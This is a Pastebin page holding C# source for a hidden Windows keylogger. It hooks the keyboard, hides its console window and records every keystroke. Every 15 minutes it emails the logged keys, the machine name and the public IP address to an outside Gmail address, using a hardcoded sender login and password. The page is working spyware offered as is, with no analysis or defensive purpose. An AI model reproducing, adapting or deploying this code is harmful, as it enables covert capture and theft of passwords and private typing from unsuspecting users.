Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.IO;
- using System.Net.Mail;
- using System.Collections.Generic;
- using System.Net;
- class InterceptKeys
- {
- public List<string> buttons = new List<string>();
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- static Timer myTimer = new Timer();
- public static InterceptKeys Instance;
- public static void Main()
- {
- Instance = new InterceptKeys();
- myTimer.Tick += new EventHandler(TimerEventProcessor);
- myTimer.Interval = 900000;
- myTimer.Start();
- var handle = GetConsoleWindow();
- // Hide
- ShowWindow(handle, SW_HIDE);
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- public string GetLocalIPAddress()
- {
- string myIp = new WebClient().DownloadString(@"http://icanhazip.com").Trim();
- return myIp;
- }
- private static void TimerEventProcessor(object sender, EventArgs e)
- {
- MailMessage loginInfo = new MailMessage();
- string em = "trymis00@gmail.com";
- loginInfo.To.Add(em.ToString());
- loginInfo.From = new MailAddress("logtvbt@gmail.com");
- loginInfo.Subject = "SystemName=" + Environment.MachineName.ToString() + " " + "(IpAddress=" + "(" + InterceptKeys.Instance.GetLocalIPAddress() + ")";
- foreach (string item in InterceptKeys.Instance.buttons)
- {
- loginInfo.Body += item + ", ";
- }
- loginInfo.IsBodyHtml = true;
- SmtpClient smtp = new SmtpClient();
- smtp.Host = "smtp.gmail.com";
- smtp.Port = 587;
- smtp.EnableSsl = true;
- smtp.Credentials = new System.Net.NetworkCredential("logtvbt@gmail.com", "Athen642");
- smtp.Send(loginInfo);
- InterceptKeys.Instance.buttons.Clear();
- }
- private void addThingy(string thing)
- {
- buttons.Add(thing);
- }
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- Console.WriteLine((Keys)vkCode);
- var k = (Keys)vkCode;
- InterceptKeys.Instance.buttons.Add(k.ToString());
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement